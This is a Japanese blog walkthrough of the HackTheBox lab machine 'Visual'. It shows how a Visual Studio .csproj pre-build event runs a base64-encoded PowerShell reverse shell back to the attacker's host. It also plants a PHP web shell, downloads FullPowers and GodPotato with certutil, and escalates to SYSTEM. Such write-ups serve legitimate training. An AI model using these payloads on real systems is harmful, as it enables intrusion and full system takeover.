HackTheBox Visual WriteUp

今回はHackTheBoxのMediumマシン「Visual」のWriteUpです！
名前からVisual Studioなどが連想されますが、どのようなマシンなのでしょうか。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0cf0f8eb-18ff-c846-84b9-e1d6cd0d9fc3.png)

グラフはちゃんとMediumな感じですね。評価も高いです。
攻略目指して頑張ります～！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476


## Visual

### 列挙

それでは、攻略を始めましょう！
まずはポートスキャンから実行します。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.234

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
```

HTTPのみオープンしていました。
ブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e29f041f-46c5-4419-21a6-597eb7623825.png)

Visual Studioプロジェクトをコンパイルするサイトのようです。やはりVisual Studio関連のマシンでしたね。
Gitのリポジトリを指定することでコンパイルが行われるようです。サイトの下にURLを入力する箇所がありました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/368682a9-7ecd-c1d7-5089-b48efe65fbc2.png)

とりあえずKali側にアクセスさせてみましょう。HTTPサーバを起動します。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

URL入力箇所に```http://10.10.14.5:8000```と入力し、```Submit```を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d22f0df9-c570-6e46-587f-1bd461f2f560.png)

Visual Studioプロジェクトファイル（```.sln```）が含まれていないというエラーが表示されました。HTTPサーバも確認してみましょう。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.234 - - [] code 404, message File not found
10.10.11.234 - - [] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -
```

リクエストが送信されていますが、リポジトリではないので404を返しています。

### Create Git Repo

まだ侵入につながる部分は見えてきませんが、Gitのリポジトリを作成しないと始まらない気がするので、とりあえず作成していきます。Gitのリポジトリを作成する方法は様々ありますが、私は```Docker```を使用して、```gitea```のインスタンスを起動させることにしました。
まずは```docker pull```でイメージを取得します。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo docker pull gitea/gitea:latest
latest: Pulling from gitea/gitea
619be1103602: Pull complete 
a3dd1c70fa95: Pull complete 
a6162b935ac8: Pull complete 
f7e5852aed4d: Pull complete 
2332d211dcb6: Pull complete 
f04674e4d98c: Pull complete 
0d23272325a9: Pull complete 
Digest: sha256:0056032dc8c6ab70583e4a105b9ee0dc72dce4f4fbc8022c98bcec46b0273883
Status: Downloaded newer image for gitea/gitea:latest
docker.io/gitea/gitea:latest
```

イメージの取得に成功したので、```docker run```を実行しインスタンスを起動させます。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo docker run -p 3000:3000 gitea/gitea
Generating /data/ssh/ssh_host_ed25519_key...
Generating /data/ssh/ssh_host_rsa_key...
Generating /data/ssh/ssh_host_ecdsa_key...
Server listening on :: port 22.
Server listening on 0.0.0.0 port 22.
2024/05/03 02:28:53 cmd/web.go:242:runWeb() [I] Starting Gitea on PID: 17
2024/05/03 02:28:53 cmd/web.go:111:showWebStartupMessage() [I] Gitea version: 1.21.11 built with GNU Make 4.4.1, go1.21.9 : bindata, timetzdata, sqlite, sqlite_unlock_notify
2024/05/03 02:28:53 cmd/web.go:112:showWebStartupMessage() [I] * RunMode: prod
2024/05/03 02:28:53 cmd/web.go:113:showWebStartupMessage() [I] * AppPath: /usr/local/bin/gitea
2024/05/03 02:28:53 cmd/web.go:114:showWebStartupMessage() [I] * WorkPath: /data/gitea
2024/05/03 02:28:53 cmd/web.go:115:showWebStartupMessage() [I] * CustomPath: /data/gitea
2024/05/03 02:28:53 cmd/web.go:116:showWebStartupMessage() [I] * ConfigFile: /data/gitea/conf/app.ini
2024/05/03 02:28:53 cmd/web.go:117:showWebStartupMessage() [I] Prepare to run install page
2024/05/03 02:28:54 cmd/web.go:304:listen() [I] Listen: http://0.0.0.0:3000
2024/05/03 02:28:54 cmd/web.go:308:listen() [I] AppURL(ROOT_URL): http://localhost:3000/
2024/05/03 02:28:54 ...s/graceful/server.go:70:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 17
```

3000番で起動させたので、ブラウザでアクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/149aaf85-6459-83db-9939-323e83f734d8.png)

```gitea```のセットアップページが表示されました。ここで初期設定を行います。
大体は初期値のままでいいですが、```Administrator Account Settings```で管理者の情報を追加で設定しておきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/37773d8e-4baf-c5ba-0930-6572c56141c3.png)

情報が追加で設定できたら```Install Gitea```を押下し、セットアップを完了させます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f06f30ae-53a6-845e-4344-06ee3c003251.png)

このような画面になれば、セットアップ完了です。

### Create Visual Studio Project

では続いて、Visual Studioプロジェクトを作成していきます。
Visual Studioを起動し、「新しいプロジェクトの作成」->「C# ターミナルアプリ」を選択します。選択後、名前やフォルダを指定する画面が表示されるので、任意の名前とフォルダを指定して次に進みます。またフレームワークは```.NET 6.0```を選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/aed7fafa-02f6-6735-c2b9-5490e2a728d0.png)


最終的に上の写真のようなコードの画面が表示されれば、プロジェクトの作成は完了です。
選択したフォルダ内を確認すると、```.sln```ファイルが作成されていることがわかると思います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1a9d0bef-b7ef-affd-be49-24924f94b98e.png)

初めに作成されるコードは```Hello World!```を表示するものです。Visual Studio上から「ビルド(B)」->「ソリューションのビルド(B)」を選択し、ビルドを行いましょう。

```
12:12 でビルドが開始されました...
1>------ ビルド開始: プロジェクト: SuserTest1, 構成: Debug Any CPU ------
1>SuserTest1 -> C:\SuserTest1\SuserTest1\bin\Debug\net6.0\SuserTest1.dll
========== ビルド: 成功 1、失敗 0、最新の状態 0、スキップ 0 ==========
=========== ビルド は 12:12 で完了し、02.234 秒 掛かりました ==========
```

成功しました。こうすると、フォルダ内に```x64```というフォルダが作成され、exeファイルが格納されます。Windows側でexeファイルを実行してみましょう。

```
C:\SuserTest1\SuserTest1\bin\Debug\net6.0>.\SuserTest1.exe
Hello, World!
```

```Hello World!```と表示されましたね。では、このプロジェクトを```gitea```に移していきます。
まずは、```gitea```の右上の「+」ボタンから「New Repository」を押下し、新規リポジトリを作成します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f75a19e2-217d-48ba-c57c-704ff9382b13.png)

リポジトリ名に好きな名前を入力し、「Create Repository」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/222547c0-6001-04ef-5c0a-b962916c169e.png)

上の写真のようにリポジトリが作成されればOKです。
リポジトリができたので、Visual Studioプロジェクトを移していきましょう。そのためにKaliへVisual Studioプロジェクトのフォルダをコピーし、フォルダ内でローカルリポジトリを作成していきます。まずは```git init```を実行します。

```bash
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git init               
Initialized empty Git repository in /home/kali/visual/SuserTest1/.git/
```

次にブランチを作成し、作成したブランチに切り替えます。

```bash
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git checkout -b main        
Switched to a new branch 'main'
```

続いて、ファイルやフォルダをローカルリポジトリに追加し、コミットします。

```bash
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git add .           
                                                                                                                                                                            
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git commit -m "first commit"
[main (root-commit) 8df1faa] first commit
 34 files changed, 341 insertions(+)
 create mode 100644 .vs/ProjectEvaluation/susertest1.metadata.v7.bin
 create mode 100644 .vs/ProjectEvaluation/susertest1.projects.v7.bin
 create mode 100644 .vs/SuserTest1/DesignTimeBuild/.dtbcache.v2
 create mode 100644 .vs/SuserTest1/FileContentIndex/d7bf184a-7fcb-426b-afc3-2f39d9549452.vsidx
 create mode 100644 .vs/SuserTest1/v17/.futdcache.v2
 ...
 create mode 100644 SuserTest1/obj/SuserTest1.csproj.nuget.g.targets
 create mode 100644 SuserTest1/obj/project.assets.json
 create mode 100644 SuserTest1/obj/project.nuget.cache
```

コミットに成功しました。あとはこのローカルリポジトリを```gitea```にプッシュするだけです。リモートを追加し、プッシュしましょう。

```bash
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git remote add origin http://localhost:3000/suser/SuserTest1.git  
                                                                                                                                                                            
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git push -u origin main                                         
Enumerating objects: 46, done.
Counting objects: 100% (46/46), done.
Delta compression using up to 6 threads
Compressing objects: 100% (41/41), done.
Writing objects: 100% (46/46), 150.26 KiB | 7.51 MiB/s, done.
Total 46 (delta 2), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/suser/SuserTest1.git
 * [new branch]      main -> main
branch 'main' set up to track 'origin/main'.
```

プッシュに成功しました。```gitea```でも変更されているか見てみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1f9d4f53-5b7c-6b80-5158-adf2ebb80138.png)

プロジェクトを移すことに成功しました！
あとはVisualで正常に処理が動くか確認しましょう。リポジトリを入力する箇所に```gitea```のURLを入力し、「Submit」を押下します。処理に少し時間がかかりますが...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1511881e-4869-3db3-00e9-2ead64188852.png)

ビルドに成功しました！

### Pre-build Command Exec

正常系までは持っていけましたが、問題はここからどうやって侵入につなげるのかです。Visual Studioプロジェクトをビルドすることでコマンド実行につながることがあるのか調べていると、興味深い記事を発見しました。

https://learn.microsoft.com/ja-jp/visualstudio/ide/how-to-specify-build-events-csharp?view=vs-2022

記事によると、ビルドの前と後でイベントを指定することが可能なようです。イベントではコマンドを実行させることができるようなので、この方法を使用してシェルを取得できるかもしれません。

記事によると、プロジェクトファイル(.csproj)に以下を追加するだけでビルド前のイベントを指定できるようです。

```bash
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
  <Exec Command="call prebuild.bat" />
</Target>
```

実際にVisual Studioプロジェクトファイルにコマンド実行のビルド前イベントを指定しましょう。

```bash
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ cat SuserTest1.csproj 
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="ping 10.10.14.5" />
  </Target>

</Project>
```

変更を加えたので、ローカルリポジトリでコミットします。

```bash
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git add .

+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git commit -m "Add pre-build event"
[main e56bd51] Add pre-build event
 1 file changed, 3 insertions(+)
```

コミットに成功したら、```gitea```へプッシュします。

```bash
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git push -u origin main            
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 6 threads
Compressing objects: 100% (4/4), done.
Writing objects: 100% (4/4), 520 bytes | 520.00 KiB/s, done.
Total 4 (delta 2), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/suser/SuserTest1.git
   8df1faa..e56bd51  main -> main
branch 'main' set up to track 'origin/main'.
```

プッシュに成功したので、あとはVisualで再度「Submit」を押下するだけです。押下する前に、```tcpdump```を実行し```ping```の待ち受けを作成しましょう。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
```

これで準備は完了です。再度ビルドさせましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ecd89c1b-d02a-c004-c5ed-bb81c1630269.png)

通常通り、ビルドに成功しています。待ち受けを確認してみましょう。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:50:30.145832 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 1, length 40
23:50:30.145917 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 1, length 40
23:50:31.155093 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 2, length 40
23:50:31.155116 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 2, length 40
23:50:32.167900 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 3, length 40
23:50:32.167944 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 3, length 40
23:50:33.179265 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 4, length 40
23:50:33.179291 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 4, length 40
```

```ping```の通信を確認できました！

## enox としてのシェル

ビルド前イベントによりコマンドが実行できたことがわかりました。
あとはシェルを取得するだけです。先ほど```ping```を実行した部分に「PowerShell #3 (Base64)」のリバースシェルを入力します。

```bash
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ cat SuserTest1.csproj 
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMgAxADIAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" />
  </Target>

</Project>
```

入力出来たら、先ほどと同じ手順でプッシュまで行います。

```bash
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git add .              
                                                                                                                                                                            
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git commit -m "Get shell"
                                                                                                                                                                            
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git push -u origin main  
```

シェルの待ち受けも開始しておきましょう。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
```

では、再度Visualでビルドを実行させましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/918309c3-eaed-9136-7ff5-ad49b3c5a36b.png)

タイムアウトになってしまいましたが、シェルを返したことを考えると想定内です。待ち受けを確認してみましょう。

```
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49675

PS C:\Windows\Temp\b1aaf2f512698a0dbd2a7aa13ef974\SuserTest1> whoami
visual\enox
```

シェルの取得に成功しました！

```
PS C:\Users\enox\Desktop> dir

    Directory: C:\Users\enox\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---         5/3/2024   7:53 PM             34 user.txt           
```

ユーザフラグも取得できました！

### 横移動

では、ここから権限昇格を！と```whoami /priv```から始め、色々と列挙しましたが権限昇格に繋がりそうな情報や脆弱性、設定ミスは見つかりませんでした。。

```
PS C:\Users\enox\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

そこで私は、サービスアカウントに複数の特権が付与されていることを期待し、サービスに対して調査の焦点を当てました。

### Web Shell

では、どのようなサービスに対して焦点を当てたのかですが、WEBサーバが```xampp```で実行されていることがわかっていたので、WEBシェルを作成できるのではないかと考えました。
現に、```C:\xampp\htdocs```配下を見ると、見覚えのあるPHPファイルがありました。

```
PS C:\xampp\htdocs> dir

    Directory: C:\xampp\htdocs

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        6/10/2023  10:32 AM                assets                                                                
d-----        6/10/2023  10:32 AM                css                                                                   
d-----        6/10/2023  10:32 AM                js                                                                    
d-----         5/3/2024   9:12 PM                uploads                                                               
-a----        6/10/2023   6:20 PM           7534 index.php                                                             
-a----        6/10/2023   4:17 PM           1554 submit.php                                                            
-a----        6/10/2023   4:11 PM           4970 vs_status.php        
```

試しに、```phpinfo()```を実行するPHPファイルを作成してみましょう。

```
PS C:\xampp\htdocs> Set-Content -path phpinfo.php -Value '<?php phpinfo(); ?>'
```

作成できたら、ブラウザからアクセスできるか試します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/18e955d7-5e0d-4a6e-6578-12cfb025ca7d.png)

```phpinfo()```を実行することができました！
同じ要領でWEBシェルを作成できそうなので、作成していきましょう。

```
PS C:\xampp\htdocs> Set-Content -path shell.php -Value '<?php system($_GET["cmd"]); ?>'
```

作成できたら、```?cmd=whoami```を追加し、ブラウザでアクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ec103a7c-44a8-85f3-dd36-b2580d659269.png)

WEBシェルが正常に動作し、```whoami```を実行することができました！

## local service としてのシェル

ではあとはシェルを取得するだけなので、先ほどと同様に「PowerShell #3 (Base64)」を使用します。実行前に待ち受けを開始しておきましょう。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
```

それでは、WEBシェルを使用してコマンドを実行させましょう。実行後、待ち受けを確認すると...

```
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49676

PS C:\xampp\htdocs> whoami
nt authority\local service
```

シェルの取得に成功しました！横移動成功です！

### 権限昇格

それでは、今度こそ権限昇格を行います。まずは```whoami /priv```を実行します。

```
PS C:\xampp\htdocs> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

サービスアカウントですが、かなり権限が少ないです。これはおそらくサービスを開始する際に権限が剥奪されていることが考えられるので、```FullPowers.exe```を使用して権限を取り戻すことができるか試してみます。```wget```もしくは```certutil```などを使用してターゲット上にアップロードしてください。

```
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.5:8000/FullPowers.exe FullPowers.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
```

では、実行してみます。

```
PS C:\Users\Public\Downloads> .\FullPowers.exe -c "whoami /priv"
[+] Started dummy thread with id 372
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled
```

権限を取り戻すことに成功しました！が、毎回```FullPowers.exe```を介して、コマンドを実行するのは大変なので、権限を取り戻したシェルを取得しておきましょう。Kali側で再度待ち受けを開始します。

```bash
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
```

そして、```FullPowers.exe```を使用しながら、「PowerShell #3 (Base64)」を実行します。

```
PS C:\Users\Public\Downloads> .\FullPowers.exe -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMgAxADIAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
```

シェルが返ってくるので、権限を確認してみましょう。

```
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49682

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled
```

権限を完全に取り戻すことができました！

### GodPotate

権限を見ると```SeImpersonatePrivilege```が有効になっていることがわかります。しかし、```systeminfo```で確認してみると、OSのバージョンが「Windows Server 2019」であることがわかりました。

```
PS C:\Windows\system32> systeminfo

Host Name:                 VISUAL
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
...
```

このバージョンでは```JuicyPotate```は使用できませんが、その進化系として```GodPotate```があります。```GodPotato```は「Windows Server 2022」までを対象としているため、今回の対象において使用することができそうです。こちらも```wget```もしくは```certutil```を使用してターゲット上にアップロードします。

```
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.5:8000/GodPotato-NET4.exe GodPotato-NET4.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
```

アップロードできたら、```GodPotate```を使用してコマンドを実行しましょう。

```
PS C:\Users\Public\Downloads> .\GodPotato-NET4.exe -cmd "whoami"
[*] CombaseModule: 0x140734596841472
[*] DispatchTable: 0x140734599147632
[*] UseProtseqFunction: 0x140734598523808
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\2f3f3b65-ea01-460d-817d-836b5011b68d\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000f802-0798-ffff-c45f-376657b69e73
[*] DCOM obj OXID: 0x3fdb2d109f936486
[*] DCOM obj OID: 0xac73486812a3fc4d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 888 Token:0x732  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1968
nt authority\system
```

```system```としてコマンドが実行できています！

## system としてのシェル

それでは、シェルを取得してしまいましょう！こちらも同じく「PowerShell #3 (Base64)」を使用します。

```
